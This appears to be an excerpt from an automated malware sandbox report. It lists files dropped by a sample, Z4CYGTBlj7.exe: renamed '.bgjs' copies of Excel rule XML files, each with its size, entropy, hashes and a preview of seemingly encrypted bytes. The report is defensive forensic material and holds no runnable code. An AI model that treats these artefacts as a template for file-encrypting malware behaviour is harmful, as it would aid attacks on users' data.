C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.728320783361586
Encrypted:	false
SSDEEP:	12:QLwcymk0EWbNK0gJrbIyGawk5m1AX8PoPVMFV3lRvaaJvAyo2medJ0fO9Qscii9a:K9ymkDbEzAMPoPa3hnGsbD
MD5:	F12670C4D9DCB500708E2283EC8242B8
SHA1:	EFFA239B6FA6D68F50CDFB18D81BF848D23C3262
SHA-256:	0099E84A9C3CB35E2806991869115B3C2AE6C9DFEBE9023979B7D917D8855CBD
SHA-512:	E6E276BD31A64B166F53AB824874423629089BC2F66D060C9F8A33872C734A094B63B35A0AF4CC21EDC8F177C1FCBE38505A3F2C224EBA5CC8952A58844C0AB2
Malicious:	false
Preview:	<?xml.....6y.7.....C&.. R.=!.?V.T.I.Lc.t..X....?.....ap..u.%au......#9.bf.......e...l....!O..2.n......1...U..7..B.2.W.tm.b....T:Y~.K.H.4..HAp.V.^.Qa{.^5..&.R.A.....I..&..L....F.......r.iv.xl`o..MfG.A.8.f.b..U.v....k...W.....0{4.6+...`..W..P).t.y..q...r.'"..l..CA..4.bF...f......o&....Q.......0..?Y.g>..$q....;w......9..L......E.\.....$s+&.l.....[.Z....@#...c.^.pZ.....R.R}..wW\|..dz...y..,/...X%.Sw3.#..v..n\u.Ge<y...b..\|+.Q...p.U.Bp...q.7\|c>....b.........v..c...nW1/.J.9.T..f..F. .P..........q..9iM .........4.....+N.zr,...V..0....t...LO...t.,.}........a....kl.&9.>?6..&..B/.-...K!.n..)W.^S...ra.L?..n<...Q*..{A...Fc...3.y...z..D....ei. Q..,....E...w..8+....h.+...8.#.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.69604560641459
Encrypted:	false
SSDEEP:	12:2lplJxiVcUabf3sn1dNI/1TsWRBZqlvDnQKcECmGhq4b4Qscii9a:GoVZabf38dMElLw/NsbD
MD5:	9E5B287398A99DF25717C4EC450E1C26
SHA1:	26C0ACF458B2D2D7F5F5258452D7FF8E2B03C233
SHA-256:	232307D8B405672C1B3F1711CCDC2A70524E00C5A6968903C6FF2BA2C68BC390
SHA-512:	58CCE79390393ACC28BCB8E1DD6C914B35D04EE06C8E84649B5A10C5C8B3263D382BE7B37CF1230FA76D92FB263CEC02C78A2DA6B435C076E1967C5C9011363A
Malicious:	false
Preview:	<?xml.9Y..{.;mK..7..C.k..].H...Z...c..9.,3...4.,^..... G_.#....h..R.Uf.#.....MV.=`...D..!..xH..3.n.jS)....^7.1kj.js..~..Q.#./..M.^..h..$.'.#B.5..9....0..}X...7.N...(f.S.W u.....M....x.A.o..6.....t..'.Ac b.q...a.........Bn..RV.p..le..8.g=\..j..`-.??e........A.:3.g.9.h.."E..q&.._3\|.90].7(v....+..s....{..3.D.>g...n.k. .c.{..-0X.....%H.F...`nv../l<.=..g_.V.K.Ag`S..F.w..E-E(..x=.Q......NAe.......j....5O...B..3.J\X..R.U.....P..wM3...W....W.~.......kB.I.dC....a..G.....kr....T.....H......hbm....T(..4....i...+....0.C.7G'4.{.....h..zh9.".T.a.q[.X.Y..{.tbjI.........C..NF..6.<..4qj...[...\..Q*=....2..^.A.%..S.G._j.....D...f.......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.727797308632099
Encrypted:	false
SSDEEP:	24:z9pTzQKalvW0zljyjPX4PEkUi+YuP9QBTLUVsbD:7zPuvW0zlOjPtZPmAVmD
MD5:	6B0A7E43B99873755D9B7B128B7884C8
SHA1:	91B4F5D83CCCE73DEFA48C6041966AA99D213F5C
SHA-256:	99E861A7D69113BD47A0A546E239AB8CCC05914DD4775401B86600215EC91B3D
SHA-512:	E15BF3EBC7CD0F6BF112A89670A0C483D5DF385121F548A6DF5221921783DBE158727483701DB586A879C67FEAFBED8671A0CBA2E3FB503DD1DAD1AF29B704CB
Malicious:	false
Preview:	<?xml....Zt`.g..H.f.........<(<...bMF.......f....<6D.1.F.....\|......p:....w.]...O.c34...`^.S.[.6.l....".O.A..P...PAL..C@/.)t..Go..dj.....!......AJR`.....{I..[..".V.Ec...vxA<0...n...,...9..S.V...J(A...{!.Dn.k..-.HY...e...%.1..$..cK..y.rb.W..I.i.........I..i.\|..EE....Qn(7...z.L..r..!sb..H.i.K..;1.....C..]&..Z..Sc5i...?B. J(.sP..>....".....\|z.E{k.......&h:..\.6Y..(..6.yp...ud+...x....;e}.......y.A.AQC;.d..:<,....[$...?...!E..^7....'uZg x.xS..u..5i..V.Vd...PEq-q"f..{..59.5....l.1..I.....0....x8...r.T.[...@L.....j..F9S.:R..i..)i...RG.......y.7...?Q...P^.&5.2...Vq..0..........#..Z..''.Z.Wy..b...UO.`..........h..:....w._d...v.....`o.H.}.ku._E..)<..UO.....uxk..{..G.........p-.......I.Cb8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.697110812736051
Encrypted:	false
SSDEEP:	12:PnEglZZn9VsZvYmUiwXxMFJ3wNRhmzTBNMy9rI6Pfpxjk64hvU5VbY4gEDMoKQsX:PEqZn9VsZvYVhMTghmzTrF9rHPfpC6Od
MD5:	1DCB655F4B3732005AFFBADEC5325D35
SHA1:	85849CE059F94E97FD52A1001428B0C92F72803C
SHA-256:	9B77BD0D40F26894D453513D2BFA39B486A4025ADB6DB84EA7327B542825833A
SHA-512:	586C0C34597BA3F46A7FD29ECC485352210858C8F2981093557B4F1B61AA243543E9270950A9EAFA991B070643F3328475F51413314500E27437D6BEC6914D73
Malicious:	false
Preview:	<?xml.m.7BV-1....o.,..v.;k....by....FmKBpr...b.\|.......&qE...."x..+V..-..i.o.U...EJ..`..D.#.....'..k.V...........UW.....E.K.....u.....D.C.SgN@=.X. .Wzk..~....0..._.]..A...."2......E.&....q~...A.fSD@.t.}..[.CnNe.+.(g.1%..Xl.k..].CA..P...C.}>..Zd...r........~....`......<.Oi.P....-.9......N..&1#.8.......f8.Tg.T..8.B....e3./`$...9..G.,..t...m.../...'J....QU$.S...8Z}.X.[;.^....Cw.3\..[...BwR.w.41.q..c..VE...7{e#.9....BR.\..w..)0...gN..2..^.....J..4.L...^...........E.B....7...X.R..N;/.C.....................Cq.+..Q.qPT#...h.?. .[...oS.hZMG.....\|Q>, ....*+K.l..!.[.V..dB.]....:%J..8....>.K.M..`Q../pV...=...2..<.+W.......1Ym...aF.P.s8..`..e..Z..bt8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.731193374940647
Encrypted:	false
SSDEEP:	24:2lXYOFEg22gnht5ekhATlQVHqPJFdSnsJsbD:sFEFt5ekhAiVKdwsJmD
MD5:	61F4BFC88178E885F2B25369F4DB996E
SHA1:	EBCAA4C113AE882C702CE6121E7BAA8EE2479796
SHA-256:	1DA7373E042CA00E07D81FBF8EA75CBFA3F6A7F2B5886A94BE26EC02D9A96D27
SHA-512:	AA9E61FD3D58955F3497F947008B1CE6C5AC6C8153DE68CE8D2E678D4D2A5351908BF79ABBE3B32EBDBD584435BEA9D2D33AE6A660BFC8C4E817DECB8F983A1D
Malicious:	false
Preview:	<?xml.....Y7..e-..\|^..}...I.1........"..`E.@(wGy.K.....\Th.@3>.;n.YM...p.U:....R...W...z.~..&.$.sQ...N...!A.{..Nd.U.n.q/cE.}....N...1..m.....u.....o.V.Kt....j....o~L..k.E.h.1..l.......E2...v..45E.Z...Wv`..l.)aw.....=..8.{(.@..)..aQ(..bx....^.....~y7....R.....K`..(2>...lx$h_j2..E.7..<i..D.0..9.~-..F.fg..1.&...U.;....7.../...kjkE.Kp.?.\|UDSk..J...~.67A...o...d...!..6.F.....`V.l....c..t!....m[....Y........Y..`.Q...q.._8P....h.g..W.'..C......c..`.......>w...8u...1.....5...?...X..<.l\|1.....E$.....}.........t. ...mp...ew_.<.....:......-.D.Y...kC ..6.h.J~yAJ3.zY...%.j......in.\....b]^b.X..4..2#.......k......s...F.=@\.......3..........[...aln...1....-Q.;.....DAl.....{.)s....0.x.AQ../.\..5.@I.[q.]..:8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.684260989989462
Encrypted:	false
SSDEEP:	12:VYCumRtPvG4Ki5hiVbwjakfpbA2Z7oMNFrE/ZWOk6TEMrUEg1Y2d4b/m0lPFgkQ+:VYCvRtPXPYViHzNq/Zv4Ms1YwKisbD
MD5:	4D6199283766DDAC47D66AC45ACB992E
SHA1:	EF77CD21676461B387EE00867A3C03CA040D22C0
SHA-256:	F4510CAA2A4E456451AD0E9E547C8E5F0B2323C01973521D06DF513FCF02AFBB
SHA-512:	833EE3425AFCF7BA2D0B51787E8DBC9D3FDB3DBB9850DF848FED50CB0A28A8907E796BCB40AF980C765FC99383773D4B12F9E14E8CF35BF6CDE57CA3780B4E18
Malicious:	false
Preview:	<?xml..$a".}....bs.VJ.&.^......L.N&..N.......(."c.].7...~-.`R.vQ'..M...........t.;sv..T..(........}J.i.E...([.Y.!.h..`..-B...RYO\|....#.6..K..............^..WB.`.....j.x.w..m.....'.j..&.B.sl.05....6......U..3q>.8^fY...\BH.\|..3l.(.....o..........5.T....LP..C..9&.0....!.v..K.....j.k.......6m..r..h...[P.....S..;....$.p,s...S.1p.Zkh.z.f..pgs\./.....}....6. 4.....V.Q-....hY.8.A0..zWx ..Z...fo.E..4n....C..../.......n..3$.Q.Q..,KWc?.F.....rPM......Hw.C.....o6E&.sv.O..\.=X:...}../................b....\....G...!3.....9S...{...\.;.....Z..h0......G..>d.F......k..3~....yp>.r.......X..]...(.-...%F..t2..%...5z.....<:?...7'..c?a.&.....Z.J<..$.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.739155866665272
Encrypted:	false
SSDEEP:	24:whBQQ508e1oSLkCDTMHcCu8MlrgQwU150tNr4jj14IcVsbD:whBQQjemfCsHbu8MlrgQ5H0AH14jmD
MD5:	98DB9D8E00B08D1EE13C656516578526
SHA1:	517FC8A33CC3A57A3242EA9BDDC550A0B93DFE54
SHA-256:	9567337DF3256648A7939002095D7CF12B90651D52A9B0B24EB13C8AEB9CEF59
SHA-512:	684326534240FE0219618463C3CB8117476E85E12EB86B00E43304DD2BBFB44BF42E69577582D06C3003DB2F0C97D9D0C5BF4DF6149DDE300D6EFBE118DFF1B1
Malicious:	false
Preview:	<?xml..U{.vt..8.e...oG..&..A[#.e.TWF.....Y.h.:.u...X..7`...w..\|..c:-PW.rd.\|...........&e...$...h....vTMEn.....0..E....QE.Ms.x......H`.I=y.x.........d......w....OZ.J..~.L..:..3\R..$...!.....f.2'd...p\T...e.iO.9..?...4...dg.n.>J5.....^.....g.+..&`..h.K....P.-....Y.9...^......[.".>Gs4i.,I.,.,H.7...Je...G..s..7...^...:..I.G^:.g.S.......J......Px.JP.n....%.x....8..lVYF.....kv.;.?.l....S#..R..w;........y.#..0BpR[~.."..lpX%....]...`..%[.=3.3.2n....K.-.E.. .W.w1H.......a...o.ekAQ.^.r.cVz?..-.......,-.:.L..d...D..x..."H...<L...6.x..... ...........}...u..{....GM...B...b..l..... ,K}.=....q..]...9.w..m..c.=...7......wY.3._#....\|..V....R..;..B..;.+K.L...m..;.?..w.Q.........E.{.<w.....$}.B..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.696532847983217
Encrypted:	false
SSDEEP:	12:AOeTNqM373Fd2iF4kMrFD7l3SkGOIhpR24LAysb2wT5cUluaUbpEUXRMuL+NcNO3:A/TNqq32m4kMrFPl3hITR2exsXT5F6bI
MD5:	01161D696FEA2612434815B4F8D60F07
SHA1:	A5A7EFEA9A7C909BE9E23DBDB2A008FECD1E2886
SHA-256:	6C549D8CFF5379E96078041703F387E68F1309B26F4110A02019D21B166629AE
SHA-512:	1AB63B92E9476B0BF5E15970CFB516AF5FBBE57D396752086F12E474FD76C059A48B34B268593AFB200AF7B6CAF9C8E2F54DC494AA29C84D7A9DCD5FF5081E81
Malicious:	false
Preview:	<?xml...q'...."_.a%h0.U_\|..!x.A3.\Y.EMV=.C.RJ...=...\pU...r.TJTa..#..,..B.............a.nmI.[.q.......6....._-..;.9pJ.[\.B..~.u.....I/....Yi<o.Rh.e...t`.q.t:Y3x...g.yZO>.A.}......Zu`..\.lu.C.%.ipF.c.$...,.mr..W.q..\|2O.]Qi.k.2-..u.&%1#r.L...5o..Nv...R.,u( ......%.a.Ea..%GL..G...._...Z...4j...5..q..}p...i.?.{XZ.b\|.=.Q[..V(.&..T.. <.V....[.h$..9..F/.._.....S.....(...y.+w....#evP...t.jGH...^....6.eD..C\|..D.b..@:.O[.X...3..#Qo..U....[..P..BB.........^.R......o.1..2o..r...>u..............HC.P.\a......%.J..TQH+.V...Cs...+./...C..u..7..T%J4.........q...K.$h.p..l.iN.......Iz.....0..L(....S.......N..Z)%.yyk....w...L^.=.++.f...).L....U8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.731536026770313
Encrypted:	false
SSDEEP:	24:o2RpRdpq5Uw49RMJT03DB2IBe/du1d/g7zNEFsbD:7RpPp6U1tB2Qe/dI/yzNEFmD
MD5:	A3C84B0D91D8C27B41C3DEACCD45CC23
SHA1:	3E05F990E20ECFB1DD5B341025B176338994375B
SHA-256:	DE8B19DD885934500B9AA9B7DB35D6BCBD69169A6F1267F042B2CE4D419CA3E7
SHA-512:	58DBE31E8C9109D614FCCDDA1782014C8C659CDBC525BA4D4ADE68280792FA1FC2A549956048482BD8F4CAFAA9768076BE96CE9F6ECA3F3FD11F229822B715A9
Malicious:	false
Preview:	<?xml...w4C6.Jq....v.-..Cq..R..@..?\.Q......P...........~..=.+..D..s6.p..l...XI..VQ..3"......x.&..1..$...j.h.x../..~.n.H.f..9.H...A./~..._..aL..;....v.....-....K...h......E.w..7.=-P.....[.GN..z..)c....y.4.J.....)z.M\|.W.....o....b.............aD]..J....W.(..L.yM..@.~.W.U..ak..t...F...<..o.'S.2...!.t#.\|.2..Fh"_.Y..5{..^~F.sk)y.\<X.>.....p.......-........!/.u..sm..X.8....(.....,....@q.sL$48.1..\|)_...:j...d....2..G..2].&..,........&.O.O.@.dw.F.,m...e.Qc.....W..a.......[...H5.(.....,.........G.EH.zB..Y...vX..&D\|...\|)..Mr.....n......7T9....N.3..cr.g..~..#.]......Y3g....$.........X....5.q..2q...>...Y.Y.=.......-6wEh.)..?..VC...s.1..4.O...\|t^.~...(..m...?.0...Z..O.Lt2%....P.......r...Ge?g%.N<cr...W.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.732253390178574
Encrypted:	false
SSDEEP:	24:h74mGJ5CjH//C/HlZFrHfzh8e6T0ymjCHJsbD:hzY52f/C/HlTHfue6T2YmD
MD5:	692ACCD80FA31C6BA57C67C34D7AC97E
SHA1:	E745B4FFDD13E5FDDB043ED98CAC80F917980CBB
SHA-256:	36EA286B26E4AC53AABEB5DF9792182DBA321FB919945E203EBD0A54DF4A33CD
SHA-512:	0A4BE00A3594AE8D7772E177E99C119219D759D0DDB7C5CA0859C29B6A39D1F52732C913B31CB32F58D2C64F735198CC07860A5CC246E9EEF1EBCB852B85F4DF
Malicious:	false
Preview:	<?xml..y..?.I..U.['.a..yH.,._z.,..}.`v.c.$'....s.=....g...... o...;.}..X~...%..w./.&g.B.p......L...s.5...}o..CI\r6`...Th.......h.7...O.W....j..T...c..&?.)Fq....,$..W.)...$.../..n5Q)1...9.c.t.....jva.....kD.D.].dzkX.z...........%..R3-..........2...o.._...l.....S.J]U.Xk.m.9.nT.[.-..z.,..\.G.J.m.2').N...n....r.kZ....;jK.b...B.C.....!:.:.\|.D.F...C8....I..<.8.D ....D..}i..4.a#.B...nU<.]...`..m......k?.n.`.....k..W....&g..8........(p..W. ...<W.....4N8..2Pq(.j....vV...,."_...!...F.J.?H..El.Q3...@.C..,+...Lz..S...y#g/<D......@.a..l.....2.K}..o..V....j.b..b............^...N..z..a..7..........}...J.Ft..tR.w.....%.@.@h..)._.!...u.._.d.&h..F1.....S,.d.}...4.0..[...A..{P...S....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.716678622088124
Encrypted:	false
SSDEEP:	24:24Dvbfpel7SwyX2qzfIGWGkf4CD3lqwAqkfAXsbD:TERSwy57lKEdqkfAXmD
MD5:	3D310E8D6D7ECDB99DF5439F9DE47E6D
SHA1:	F67C43641D09B3C9228973ADD49F9220AE6B66C2
SHA-256:	69F8D9DB5D5C376FBA1B6BC684D79DDC33EB7A69682F9395C6163306316489AD
SHA-512:	F2B23806DCD72E300F46FF070360AE12D946D727F92F64528B7522FA4EAED3247C8B2F37BCF1F66C46FD9AC116D05FC4DBEEC3726C17E22A6BA4E2D439B022A9
Malicious:	false
Preview:	<?xmlN.~]......iH;.a...{o..Z......$..:,)3...:.....8..0...!.-..gGU,..G/..w?>w....a..M&..4Z.1/.07....m..t...Hw).....q.>B...VD....%Kd...o.=.I..'.i.T.w....e}4.>.)+..E..L.. ......V...V0..A..6t....S.....c.M#m.l.\|.-...F\R..........V.m...........1...-..\|.Q.........D7...4...3..ew..<W..t>.=.Q..R..3.Fh.>....t..U\/:...J........@....,.O..S..&e.....).......E...N..9.V.S....qH..-m/Q..k).fQ~....R..K.'.=..[.?!a......(F...5S}....,._.y...@].A..ze.......e2.E..w@f...Ai.A.d.N.........~.Q..-Q....(.y.q..........G..+.t`..(....t0.....O.....pp.....PD.._[..._..5...t...$b.C).!.C.j.wW^!..n3M.....}~$B[+F...(.eq..?GL..u.uQ..$......@>O.._#..!#9.-.%..N]t........#.-.(Z.)..D(...S..u.:]{N.&.....nhi..D.!~'.[...fo.s..V.....F.I."..7.\.S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.681254330697882
Encrypted:	false
SSDEEP:	12:uCU4zWsZldpYrcAJEda/j0D+sGE2p8we4YFWX+eqFgU174z9TDXVrIIQQscii9a:uCHzBSJ0ab0KnrywCpewGz9TTB9sbD
MD5:	1C3FFE8D8CCD8CEFC9071D4842C30F87
SHA1:	9C17852B23C9694B3FDF1DA77D7A1A6F93E7BA8D
SHA-256:	0733F1E874138EFACAA6FA43953D2F1B333A4C170CE95E40ACE33277131038D6
SHA-512:	536416984B929115612E97FE9DD03C42CA144A1BE1DF7E3B7F6CDDF4940CFCC45F01B5E0D839E3E4371F0960C2EFB4ED80670DB33D0F2957ECD40FBE83268FF9
Malicious:	false
Preview:	<?xml&8$.=.x..,..>..YU.'8[6:...y.O."...2...$.zF"..V..1.(d.R. e..[..Z..l..6...EA{z2!U.O...=...L..8T..B0Vq.D.b.{"m..e....VN.....e.....f..b..&.............A....)e.@$..mf...`...dI....i..0..d...=..W...".j.......Z..$.....kePq.T..R..I\v..x.2.!.s..u..~..{8^..+..<.cz..v..k.05<!RT@..t.q.C...K.........L.K.3c?a....n...T..P-d.....GS.....Z...Cy.`.E.atY......... 2P.`.4....5+Jm.....T,~.[:{.I..H....m./..jM..g..I..u)...+..rBH.....T.=.....Y....%H......}..`....[...R.va..,.1.i./}I.3&v..a/Bz.`l.=..[.2.9..!8........m...CQ..~>E......9.0..3!:.A...2.^?....m+... ..q"n..0oQn...X;...Z.ma..=0.:I>:...-j....BV..........TP^.6.R.{...d9....%...yeY.Lw....O3j..]..B$...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.707940909450969
Encrypted:	false
SSDEEP:	12:l/NVY63E/Zjfj4ujtX2RPu8d8m4qh6diu6EkZFJAXHzizV28893ndKQscii9a:lT3CZzfFvRmryEJJuHeE88VnFsbD
MD5:	D47643D817B2F9EC8167D2A807AED5E4
SHA1:	BF983CC685C195E6A67F22B5B77A98C6E8F03EF4
SHA-256:	5CA610E7DB03A09E783A80A91BBFEB2813864263AD2BD87E8767E9E877DF1831
SHA-512:	C8386988963D1BF47033EB8D9EF4047D693715502CFD1F0BEB1736DDA209AFBB39FB13A472B51B1CCEDA3D617D47E6043936ADA45027B9E7AFCD06D9E029FE51
Malicious:	false
Preview:	<?xml.....n..t.....^:..}....!X..>}.....%...M..7.S.p3.O..O......uA.`....Y.7S._.....m.^}......N...Gs+V....H(...{.....4..hM...GR7.......Lm...7\.`X..v.W29.O._..4..V........P.Om....7..s....)8.#Ku..u3....\......m.P@......4h....l.>..R..&....{.X....11..s.>.'..r;sM....$?k......y......R.........b..aO.(..69...9y..B..l.%..VJ.{.byk^.,.e.....iT.'..P.,v..sL...0......x...\...@...Id...V.m...,..Vp...\......v.........R...Y.~3..sH.....N..;.6V2.O.$kB..^I.wB".88..+:.u..SfX'...;..b&.....c.x.)....b\|s......`v.tm..8.....=)...........K...>.f.."/O...T...;............:S...C6.%S....~.TH..._q.r..V...`%..%....t_.....yG7......w...[.k...u.p.........j..f.....7.m+.r.7.$(@.N...p_.%.Wk..V..._P#..{...:=.......O..Ei8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.667268579437731
Encrypted:	false
SSDEEP:	12:5E3h6scoT6efqPFEq2BKxZJ6/3zhP+8KVPKJ9kCIMnL8nnAIqPbso7Qscii9a:u606HPfsNG8KViHkCmnifUsbD
MD5:	80DCF69D13302F4A440CDCAC50364219
SHA1:	C7F84F5502AF24945DC97998E1BD0086FEDB4CDE
SHA-256:	3A61637B2F904F4C0BFAEB6E021BB444ADF8EE62C9D77844AE2A45C1D9FD6752
SHA-512:	291F99EAD637CA21570226F61FDC16F3F4BA2D427C7EE12DC9427D793B0F38D9363AA193BC99CBBA7FD11067B2351FFB73A8C3F094DD1D55A19201C6CB1CCDC0
Malicious:	false
Preview:	<?xml.<..1...c....V..p.- 7^B.{.\(...E..a\u..i.[....s..${.....$..3.5...._...(.P.........k....~$xk#.=..je.+.....x..'k\Z-i.;^..}v... .D}.6....*..8..2{.!..)&.6......5.=.nF..,.s........v..Ec......u..".l8.)v..M......r.U......'...x.....?2.h...B.o.v.S...^.u..l.?#;V..2..".K._..I3,e.F..s.WA gCsl=Q..V(X1..d(.g.~.L..)...I...*.U.....+..+...$.."f..P..4 ...p.l.W'C..}{.r.B..c.O.....9.`.....%...n.D.2.v.g..1~^.(.l.J.gb......mY5....Vw$h...'.L.......~.S...Qq..;......`]..El..Q@y.p......s.......x.................c8B..W0{......zr........L..Er`....3f.&.1G.......u..yvw.F.J.J?...I....7..4.w{!..p^....\|l4.<Q....Z....._.L....GY;O..].,8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.755533884053192
Encrypted:	false
SSDEEP:	12:jmUJEdN9ZOImHhH/94rFoeDYzoydPxldPjvy55TbxMMAqpeoEVuQscii9a:qUJEL2fooeDY8ydPxbmjx1c5sbD
MD5:	1C57C088576F5CCA074B2E6C550A72A4
SHA1:	C5DA8DB7056C436304B945EA663113BA24AAED0D
SHA-256:	596F943DD5F64C7D899952EC0CF9BE11B7E1E07CFA6FA0B7E31EAF4EB1539971
SHA-512:	B661D529635520829BE685EAFA69CCE172FE488396A4A4BDB2EBF244E3D7159028F0888B12865E05F1FB6E6CF346C1B2C1053D1E33245278F8365EDEDED16703
Malicious:	false
Preview:	<?xml.H.....G.....0..Q.....%.c....Hy....#.j..n..Gyh3......&5.vDdv..i..ek...0t\|...T....Y..m...a.e..Hf..uT; `/p.}.t......P.....'......1.>R.=\?R..&........_.k.....2.-RB..1.\|.r.a.:.F=.8.....!...C....M......~..$..H..J.X.W"..b.}...p....J.=.[..~.....e........l.gd!.:./>&8....M...^.R:s..n.5..W..m;.WQ]L..F....m!.[V.u..~........5.O.y.....)D...=.....C.&...t.pv...:]...VX.g..x...?(...~....E....O.'h Iy.........s.nq.......}.&...k.^GRvL.#}..a.....\._..;0uM}J...5.KO1..Y1.....$.........1..9..(R.#.T.6....Z..D.g..z...!d.z.z..........5..N..T&H.G.Qg.Zk.M.....U.B^&c..h.F6q..`.!.>.k.....A_?...g*3p...}....V\p...F.:. .g........q...:7..U.G...0.O\..I...p(.@..v.......'.b..D....]c.."...u..C..0.>....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.687693330776881
Encrypted:	false
SSDEEP:	12:45ShMogy2JgSP01RVBXCGDgaus+Kt6jUKVl9zRvINxnSyTFoBYX8xHGVUxUcNoWw:YogtJgZ1RVcGA/Kt6jZVl99AmBYX8xHO
MD5:	780983DE9A2A0D90750487614BE030AD
SHA1:	246AA66D69A31DDF6B429075DE475141583E587B
SHA-256:	671C63F9D1CB4835ADA000A4A2293167F95C4FA8A177BF24217DF2D10B375DE8
SHA-512:	14CD6DAA62FB2FF7A25D59F58DDF32D102959B690F1D6210795992D6846D1D72C5ED45C7A0513497536E6D555467D68F3B4A58393AF0F4DEBC5427E067A0A72E
Malicious:	false
